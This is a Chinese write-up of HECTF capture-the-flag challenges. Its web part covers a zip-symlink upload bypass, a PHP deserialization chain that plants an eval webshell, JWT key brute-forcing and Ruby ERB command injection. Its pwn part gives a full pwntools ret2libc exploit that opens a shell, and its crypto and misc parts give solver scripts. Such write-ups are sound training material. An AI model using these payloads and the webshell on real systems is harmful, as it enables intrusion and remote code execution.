web

数据库管理系统

提示file参数泄露,手测发现只能读到nginx的日志access.log,在第一次登录时就已经有大量记录了,我们稍微浏览一下,从中找到登录账密

urldecode后登录后台,只有一个图片上传和zip解压,难度还是比较大的

文件上传限制的很死,对后缀和文件内容都做了限制

这里我们先讲马的构造,由于zip等压缩文件的解压并不要求文件头处于首位,结合服务器后端对文件内容的约束(限制文件头为常见图片文件头,如:GIF89a),我们完全可以构造出符合条件的图片(实际是压缩包)

​

这里有两种打法,我这里先讲软链接:

创造一个指向根目录/flag的软连接,名称随意

ln -s /flag ans

压缩:

zip --symlinks exploit.zip ans

添加文件头:

echo -n "GIF89a" | cat - exploit.zip > payload.jpg

这样我们就构造了一个解压后指向/flag的压缩包,访问/avatars/ans就能得到flag

​

方法二:

创建一个含一句话木马的php文件,压缩,添加文件头,同样上传,这个不难想到

​

然后我们回到前端,上传文件的解压也被浏览器做了限制,我们找不到解压已上传文件的下拉框,解压不了任何文件,也无法抓包,看不到解压的过程,所以我们修改浏览器前端代码,在这里插入一行

<option value="xxx.jpg">xxx.jpg</option>

能这么改的原因是HTML实际上是运行在本机的代码,我们当然可以修改HTML的内容了

这里的文件名根据后端生成的来写,这样下拉框就能找到我们想要解压的文件了


执行完后会跳出dangerous path!!!,抓个包看看什么情况,原来是extract_zip因为我们的改动被置空了

我们填回文件名,发现解压成功了

访问这个路径即可,网站自动下载flag文件

像素战士

因为赛后没有复现环境,这题当时没做记录,就凭借回忆写一下吧

一共三关,首先前端改courage=100000通过第一关

第二关bp抓包改cookie中的user为vip

第三关是jwt伪造,密钥是HECTF大小写组合(这个在源码中有提示),直接爆破密钥即可,修改session有效期和身份,即可获得flag

PHPGift

源码如下:

<?php


class FileHandler {
    private $fileHandle;
    private $fileName;

    public function __construct($fileName = 'data.txt') {
        $this->fileName = $fileName;
        $this->fileHandle = fopen($fileName, 'a');
    }

    public function __destruct() {
        if ($this->fileHandle) {
            fclose($this->fileHandle);
        }
        echo $this->fileName;
    }
}

class Config {
    private $settings = [];

    public function __get($key) {
        return $this->settings[$key] ?? null;
    }

    public function __set($key, $value) {
        $this->settings[$key] = strip_tags($value);
    }
}

class MySessionHandler {
    private $sessionId;
    private $data = [];

    public function __wakeup() {
        $this->data = [];
        $this->sessionId = uniqid('sess_', true);
    }
}

class User {
    private $userData = [];
    public $data;
    public $params;

    public function __set($name, $value) {
        $this->userData[$name] = $value;
    }

    public function __get($name) {
        return $this->userData[$name] ?? null;
    }

    public function __toString() {
        if (is_string($this->params) && is_array($this->data) && count($this->data) === 2) {
            call_user_func($this->data, $this->params);
        }
        return "User";
    }
}

class CacheManager {
    private $cacheDir;
    private $ttl;

    public function __construct($dir = '/tmp/cache', $ttl = 3600) {
        $this->cacheDir = $dir;
        $this->ttl = $ttl;
    }

    public function __destruct() {
        error_log("[Cache] Destroyed manager for {$this->cacheDir}");
    }
}

class Logger {
    private $logFile;

    public function __construct($logFile = 'app.log') {
        $this->logFile = $logFile;
    }

    public function setLogFile($file) {
        $this->logFile = $file;
    }

    private function log($message) {
        file_put_contents($this->logFile, $message . PHP_EOL, FILE_APPEND);
    }

    public function __invoke($msg) {
        $this->log($msg);
    }
}

class UserProfile {
    public $name;
    public $email;

    public function __toString() {
        return "User: {$this->name} ({$this->email})";
        echo $this->name;
        echo $this->email;
    }
}

class MathHelper {
    private $factor = 1;

    public function __invoke($x) {
        return $x * $this->factor;
    }
}

反序列化,直接打,这里原本有两条路径

一条直接call_user_func,调用命令执行,但是打不通,被waf了

另外一条就是logger类的写文件的方法了

这里的限制还是比较多的,构造反序列化链要谨慎

payload

<?php

class Logger {
    private $logFile = "shell.php"; 
}

class User {
    public $data;
    public $params;
}

class FileHandler {
    private $fileHandle = null;
    private $fileName;

    public function __construct($obj) {
        $this->fileName = $obj;
    }
}
$user = new User();
$user->data = [$logger, "__invoke"];
$user->params = '<?php @eval($_POST[1]);?>';
$top = new FileHandler($user);
echo base64_encode(serialize($top));

老爷爷的金块

直接玩游戏通关得到flag,感觉逆向也可以打。

HECTF{D0_y0u_sti11_remem3er_me_ 1_am_g01d_miner_l0ng_time_n0_see}

红宝石的恶作剧

Ruby ERB 模板注入

输入env发现环境信息,发现是ruby的模板注入

在 Ruby 中,有多种执行系统命令的方式:

语法

说明

`command`

反引号,执行命令并返回 stdout

system("command")

执行命令,返回 true/false,输出直接打印

%x{command}

与反引号等价,但用 {} 包裹,可避免引号冲突

%x{whoami}   ==   `whoami`

直接%x{cat /f*}

HECTF{1bffdda743011e-9bd222f75db7c01-9a152b72e1b1eba}

密码

下个棋吧

先别做题了,flag给你,过来陪我下把棋,对了,别忘了flag要大写,RERBVkFGR0RBWHtWR1ZHWEFYRFZHWEFYRFZWVkZWR1ZYVkdYQX0=

棋盘解密,密钥CHESS

HECTF{1145145201314}

simple_math

import sys

# 兼容性设置:手动实现 isqrt 防止版本问题
try:
    from math import isqrt
except ImportError:
    def isqrt(n):
        if n < 0: raise ValueError
        if n == 0: return 0
        x = int(n ** 0.5)
        if (x+1)**2 <= n: x = x + 1
        return x

from Crypto.Util.number import long_to_bytes, inverse

# --- 题目数据 ---
c = 5573794528528829992069712881335829633592490157207670497446565713699227752853445149101948822818379411492395823975723302499892036773925698697672557700027422
n = 6060692198787960152570793202726365711311067556697852613814176910700809041055277955552588176731629472381832554602777717596533323522044796564358407030079609
bits = 128
B = 1 << bits

print("[*] Starting robust factorization...")

# --- 步骤 1: 恢复 P 和 S ---

# P_low 可以直接由 N mod B 确定
P_low = n % B

# P_high 可以由 N // B^3 估算
# 因为中间项 (f^2+g^2)*B 大约是 2^386,除以 B^3(2^384) 会产生约 4 的进位
approx_P_high = n // (B**3)

# 在估算值附近搜索真实的 P_high
# 范围设大一点 (-100 到 +100) 以防万一,实际偏差通常是个位数
found = False
P = 0
S = 0

for delta in range(-500, 500):
    candidate_high = approx_P_high + delta
    if candidate_high < 0: continue
    
    # 组合候选 P
    P_cand = candidate_high * B + P_low
    
    # 根据公式 N = P*(B-1)^2 + B*S^2 逆推 S^2
    # 变形: B*S^2 = N - P*(B-1)^2
    rem_term = n - P_cand * ((B-1)**2)
    
    if rem_term < 0: continue
    if rem_term % B != 0: continue # 必须能被 B 整除
    
    S2_cand = rem_term // B
    
    # 检查是否为完全平方数
    s_root = isqrt(S2_cand)
    if s_root * s_root == S2_cand:
        P = P_cand
        S = s_root
        found = True
        print(f"[+] Found correct P and S with delta = {delta}")
        break

if not found:
    print("[-] Failed to recover P and S. Check constraints.")
    sys.exit(0)

# --- 步骤 2: 求解 f, g ---
# x^2 - Sx + P = 0
delta_eq = S**2 - 4*P
if delta_eq < 0:
    print("[-] Error: Delta is negative.")
    sys.exit(0)

root_delta = isqrt(delta_eq)
f = (S + root_delta) // 2
g = (S - root_delta) // 2

# 恢复 p, q
p = (f << bits) + g
q = (g << bits) + f

if n == p * q:
    print(f"[+] Factorization successful!")
else:
    print("[-] Mathematical verification failed.")
    sys.exit(0)

# --- 步骤 3: 解密 (e=8) ---
# 需要开3次平方根

def solve_quadratic(a, p):
    if pow(a, (p-1)//2, p) != 1:
        return [] 
    x = pow(a, (p+1)//4, p)
    return [x, p-x]

def CRT(rem_p, rem_q):
    M = p * q
    inv_q = inverse(q, p)
    inv_p = inverse(p, q)
    x = (rem_p * q * inv_q + rem_q * p * inv_p) % M
    return x

def sqrt_mod_n(val):
    roots_p = solve_quadratic(val % p, p)
    roots_q = solve_quadratic(val % q, q)
    res = []
    for rp in roots_p:
        for rq in roots_q:
            res.append(CRT(rp, rq))
    return res

current_layer = [c]

for i in range(3):
    next_layer = []
    print(f"[*] Decrypting layer {i+1}/3...")
    for val in current_layer:
        roots = sqrt_mod_n(val)
        next_layer.extend(roots)
    if not next_layer:
        print("[-] No roots found.")
        break
    current_layer = list(set(next_layer))

print(f"[+] Checking {len(current_layer)} candidates for flag...")

for m_int in current_layer:
    try:
        m_bytes = long_to_bytes(m_int)
        if b'flag' in m_bytes or b'{' in m_bytes:
            print("\n" + "="*30)
            print("FOUND FLAG:")
            print(m_bytes.decode())
            print("="*30 + "\n")
    except:
        continue

HECTF{this_is_a_flag_emm_is_a_true_flag_ok_all_right}

ez_rsa

import math
from Crypto.Util.number import long_to_bytes, inverse, isPrime

# 题目数据
c1 = 53794102520259772962649045858576221465470825190832934218429615676578733090040151233709954118823187509134204197900878909625807999086331747342514637503295791730180510192956834523005990404866445713234424086559831376810175311081520383413318056594422752551500083114685166907745013622324855991979140245907218436391231529893571051805289332021969063468163881523935479367416921655014639791920
c2 = 9052082423365224257952169727471511116343636754632940194264502704697852932532482639724493657103678314302886687710898937205955106008040357863303819909329575056725102501066300771840780970209680697874184954776520388520912958918609760491518738565339512830340891355495761329325539914537183981946727807621066415407718405281155516000986687797150964327740274908804298880671020463280815846412
n1 = 98883753407297608957629424865714335053996022388238735569824164507623692527853962975392303234473035916456899244665285221847772940522588864849967816934720547920870269288918027227609323674530533210183199265184870283022950180411036770713693931074212919932370249829101629879564811122352724775705189146681235092749483273337940646214392591186563201709371435197518622209250725811137856196641
n2 = 52847447490004248309003888295738534958949920800650087542364666545481208701251931880585683578162296213389552561184640931603466477091024928446523302557870614402843171797849560571453293858739610330175253863157533028976216594152329043556996573601155253747817112184987205405092446153491574442703185973485274472403444657880456022918181503181300476227341269990508005711171556056777832920469
e = 65537

# 简单的 next_prime 实现,避免依赖 gmpy2
def get_next_prime(n):
    if n % 2 == 0: n += 1
    else: n += 2
    while not isPrime(n):
        n += 2
    return n

def continued_fraction(n, d):
    while d:
        q = n // d
        yield q
        n, d = d, n % d

def convergents(n, d):
    h1, k1 = 1, 0
    h2, k2 = 0, 1
    for q in continued_fraction(n, d):
        h1, h2 = q * h1 + h2, h1
        k1, k2 = q * k1 + k2, k1
        yield h1, k1

def solve():
    print("[*] Generating convergents for n2/n1...")
    
    found = False
    real_p1, real_q1 = 0, 0
    real_p2, real_q2 = 0, 0
    
    for num, den in convergents(n2, n1):
        if den == 0: continue
        
        # 1. 检查 q1 是否整除 n1
        if n1 % den == 0:
            potential_p1_sq = n1 // den
            # 使用 math.isqrt 处理大整数开方
            potential_p1 = math.isqrt(potential_p1_sq)
            
            # 2. 验证 p1 是否正确
            if potential_p1 > 1 and potential_p1 * potential_p1 == potential_p1_sq:
                real_q1 = den
                real_p1 = potential_p1
                
                print(f"[+] Found p1 and q1!")
                print(f"    p1 (bits): {real_p1.bit_length()}")
                
                # 3. 根据题目逻辑计算 p2 (p2 = next_prime(p1))
                # 这样比通过连分数算 q2 更准
                print("[*] Calculating p2 = next_prime(p1)...")
                real_p2 = get_next_prime(real_p1)
                
                if n2 % (real_p2 * real_p2) == 0:
                    real_q2 = n2 // (real_p2 * real_p2)
                    print(f"[+] Found p2 and q2 verified!")
                    found = True
                    break
    
    if not found:
        print("[-] Failed to find factors.")
        return

    # 解密
    phi1 = real_p1 * (real_p1 - 1) * (real_q1 - 1)
    phi2 = real_p2 * (real_p2 - 1) * (real_q2 - 1)
    
    d1 = inverse(e, phi1)
    d2 = inverse(e, phi2)
    
    m1 = pow(c1, d1, n1)
    m2 = pow(c2, d2, n2)
    
    try:
        flag_part1 = long_to_bytes(m1)
        flag_part2 = long_to_bytes(m2)
        print(f"\n[+] Flag: {(flag_part1 + flag_part2).decode()}")
    except Exception as ex:
        print(f"\n[!] Decode error: {ex}")
        print(f"m1: {m1}")
        print(f"m2: {m2}")

if __name__ == "__main__":
    solve()

HECTF{cRoss_0v3r_v&ry_yOxi}

ez_ecc

# -----------------------------------------------------------------------------
# CTF Elliptic Curve Point Halving Solver
# -----------------------------------------------------------------------------

# 1. 手动定义 long_to_bytes,避免缺少 Crypto 库报错
def long_to_bytes(n):
    return int(n).to_bytes((n.bit_length() + 7) // 8, 'big')

# 2. 题目给出的数据
P2 = (14964670759245329390375308321411786978157102161189322115734645373169213999800, 15559632617790587507311758059936601413780195603883582327743315824295031740424)
PQ = (51100085833472068924911572616418783709145128504503165799653950174447959545831, 34374474833785437488342051727913857907583782324172232648593714071718811330923)
Q2 = (58182088469274002379975156536635905530143308283684486683439461054185269349870, 60318982918282038994679589134874004093617373250696961967201026789735803518347)

# 3. 恢复曲线参数 p 和 b
# 曲线方程: y^2 = x^3 + x + b (mod p) -> y^2 - x^3 - x = b + kp
def get_val(point):
    x, y = point
    return y**2 - x**3 - x

v1 = get_val(P2)
v2 = get_val(PQ)
v3 = get_val(Q2)

# p 是这些值之差的最大公约数
p = gcd(v1 - v2, v2 - v3)
b = v1 % p

print(f"[+] Parameter Recovered:\n    p = {p}\n    b = {b}\n")

# 4. 初始化 SageMath 环境
R = GF(p)
PR.<x> = PolynomialRing(R)
E = EllipticCurve(R, [1, b])

# 5. 定义 Point Halving (点减半) 函数
def solve_half_point(TargetPoint):
    xt, yt = TargetPoint
    # 推导出的四次方程,用于求解 P 的 x 坐标
    # 公式源自倍点公式逆运算,针对 y^2 = x^3 + x + b
    poly = x^4 - 4*xt*x^3 - 2*x^2 - (8*b + 4*xt)*x + (1 - 4*b*xt)
    
    roots = poly.roots()
    candidates = []
    
    for r, _ in roots:
        rx = r
        ry2 = rx^3 + rx + b
        if not ry2.is_square():
            continue
        ry = ry2.sqrt()
        
        # 椭圆曲线上的点有 (x, y) 和 (x, -y) 两种可能
        for sign in [1, -1]:
            cand = (rx, sign * ry)
            try:
                # 验证 2 * Candidate == Target
                if 2 * E(cand) == E(TargetPoint):
                    candidates.append(cand)
            except:
                pass
    return candidates

# 6. 计算可能的 P 和 Q
print("[-] Calculating half points...")
P_candidates = solve_half_point(P2)
Q_candidates = solve_half_point(Q2)
print(f"[-] Found {len(P_candidates)} candidates for P")
print(f"[-] Found {len(Q_candidates)} candidates for Q")

# 7. 暴力匹配并寻找唯一的有效 Flag
print("\n[+] Brute-forcing combinations to find readable flag...")
print("-" * 60)

found_flag = False
for pc in P_candidates:
    for qc in Q_candidates:
        # 核心校验:必须满足 P + Q = PQ
        if E(pc) + E(qc) == E(PQ):
            m1 = int(pc[0])
            m2 = int(qc[0])
            
            try:
                # 拼接前半段和后半段
                flag_bytes = long_to_bytes(m1) + long_to_bytes(m2)
                
                # 尝试解码为 UTF-8
                # 如果是乱码(错误的数学解),decode 会抛出异常或显示乱码
                flag_str = flag_bytes.decode('utf-8')
                
                # 简单的过滤器:Flag 通常包含 'flag' 或 '{'
                # 即使不包含,只要能 decode 成功也打印出来
                print(f"SUCCESS! Flag found:\n{flag_str}")
                found_flag = True
                
            except UnicodeDecodeError:
                # 忽略无法解码的组合(这些是数学上的“影子”解)
                pass
            except Exception as e:
                print(f"Error: {e}")

if not found_flag:
    print("[-] No valid text flag found in candidates.")
print("-" * 60)

MISC

签到

check in

ctf i love u -> 🎹🏀🌺 🎵 🍑🎲⚽🍉 🚃
$flag -> 🌹🍉🎹🏀🌺{🚇🍉🍑🎹🎲⚾🍉_🏀🎲_🌹🍉🎹🏀🌺_🌹🎲🏉🍉_💎🎲🚃_🎹🏓🌾_🍉🌾🍇🎲💎_🎵🏀}

这实际上是一个简单的单表替换密码(Substitution Cipher),这里的“表”就是 Emoji 表情。

我们可以通过你提供的已知明文 ctf i love u 来推导出大部分 Emoji 对应的字母,然后结合英语语法猜出剩下的部分。

已知: ctf i love u ==> 🎹🏀🌺 🎵 🍑🎲⚽🍉 🚃

通过一一对应,我们可以得到以下字母的映射:

  • c = 🎹
  • t = 🏀
  • f = 🌺
  • i = 🎵
  • l = 🍑
  • o = 🎲
  • v = ⚽
  • e = 🍉
  • u = 🚃

第二步:代入 Flag 密文进行部分解密

密文: 🌹🍉🎹🏀🌺{🚇🍉🍑🎹🎲⚾🍉_🏀🎲_🌹🍉🎹🏀🌺_🌹🎲🏉🍉_💎🎲🚃_🎹🏓🌾_🍉🌾🍇🎲💎_🎵🏀}

代入已知字母后: 🌹ectf{🚇elco⚾e_to_🌹ectf_🌹o🏉e_💎ou_c🏓🌾_e🌾🍇o💎_it}

第三步:根据语境猜测剩余字母

现在的句子看起来非常像一句通顺的英语。我们来逐个单词分析:

  1. 🚇elco⚾e -> 显然是 welcome
  • 🚇 = w
  • ⚾ = m
  1. 💎ou -> 显然是 you
  • 💎 = y (代入后面的 e🌾🍇o💎 变成 e🌾🍇oy,符合语境)
  • (验证:u 对应 🚃,这里也是 💎🎲🚃,符合 you 的拼写)
  1. c🏓🌾 -> 结合语境 "you c??",应该是 can
  • 🏓 = a
  • 🌾 = n
  1. e🌾🍇o💎 -> 代入 n 和 y 后变成 en🍇oy,显然是 enjoy
  • 🍇 = j
  1. 🌹ectf 和 🌹o🏉e
  • 句子目前是:welcome_to_🌹ectf_🌹o🏉e_you_can_enjoy_it
  • "Welcome to [某某]CTF, [?]o[?]e you can enjoy it"
  • 根据语法,最合理的单词是 hope(希望)。
  • 如果 🌹o🏉e 是 hope,那么:
  • 🌹 = h
  • 🏉 = p
  • 代入 flag 头部 🌹ectf 变成 hectf。这也是一个合理的 CTF 名称格式。

第四步:最终解密

将所有推导出的字母代入:

Mapping: 🌹=h, 🍉=e, 🎹=c, 🏀=t, 🌺=f, 🚇=w, 🍑=l, 🎲=o, ⚾=m, 🏉=p, 💎=y, 🚃=u, 🏓=a, 🌾=n, 🍇=j, 🎵=i

明文结果:

hectf{welcome_to_hectf_hope_you_can_enjoy_it}

pwn

nc

可以很明显看到一个日志中用户访问了 upload 路由

POST /01/data/upload/ HTTP/1.1

接着马上访问了

GET /01/data/upload/upd0te.php

所以很明显 upload 路由上传了病毒,然后访问 upd0te.php 使用病毒

所以病毒名是 upd0te.php ,时间取 POST /01/data/upload/ 的时间

第二关一直输入 1,0,3 就可以成功了

shop

输入正确的密码和 acount 后有个 gets 无限溢出,我们打常规 ret2libc 即可

exp

#!/usr/bin/python3
from pwn import *
import os 
context(log_level="debug",os="linux",arch="amd64")

pr = lambda x: success('\x1b[01;38;5;214m' + hex(x) + '\x1b[0m')
sl = lambda x: p.sendline(x)
s = lambda x: p.send(x)
rt = lambda x: p.recvuntil(x)
ru = lambda x: u64(p.recv(x).ljust(8,b'\x00'))
ri = lambda x: int(p.recv(x),16)
it = lambda : p.interactive()

file_name = './shop'
# p = process(file_name)
p = remote("8.153.93.57",32737)
elf = ELF(file_name)
libc = elf.libc


pie = 0
def dbg(* addrs):                                                       
    pay = ''                                                                    
    if pie:                                                                     
        for i in addrs:                                                         
            pay += 'b *$rebase( ' + str(i) + ')' + '\n'                         
    else:                                                                       
        for i in addrs:                                                          
            pay += 'b *' + str(i) + '\n'                                        
    gdb.attach(p,pay)   

rdi = 0x0000000000401240
read = 0x4012F6
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
main = 0x401413 
ret = 0x04014F0

rt("Enter choice: ")
sl('2')

rt("admin password:\n")
sl('shopadmin123')

rt("amount:\n")
sl('-1')

rt("product name:\n")
sl('nono')

rt("product price:\n")
sl('1')

rt("Enter purchase description:\n")

pay = b'a' * 0x58 + flat(rdi,puts_got,puts_plt,main)
sl(pay)

libc.address = ru(6) - libc.sym['puts']
pr(libc.address)

rt("Enter choice: ")
sl('2')

rt("admin password:\n")
sl('shopadmin123')

rt("amount:\n")
sl('-1')

rt("product name:\n")
sl('nono')

rt("product price:\n")
sl('1')

rt("Enter purchase description:\n")


binsh = next(libc.search("/bin/sh"))
system = libc.sym["system"]

pay = b'a' * 0x58 + flat(rdi,binsh,ret,system)
sl(pay)



it()

re

eazyree

动调一下发现就是一个换表的 base64

表是:

ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210

密文是:

HVEWEVA2w7EhBaYgN809NU0bACBaxqMoC6xdxqUpC6tcvWU0

用 CyberChef 解出 flag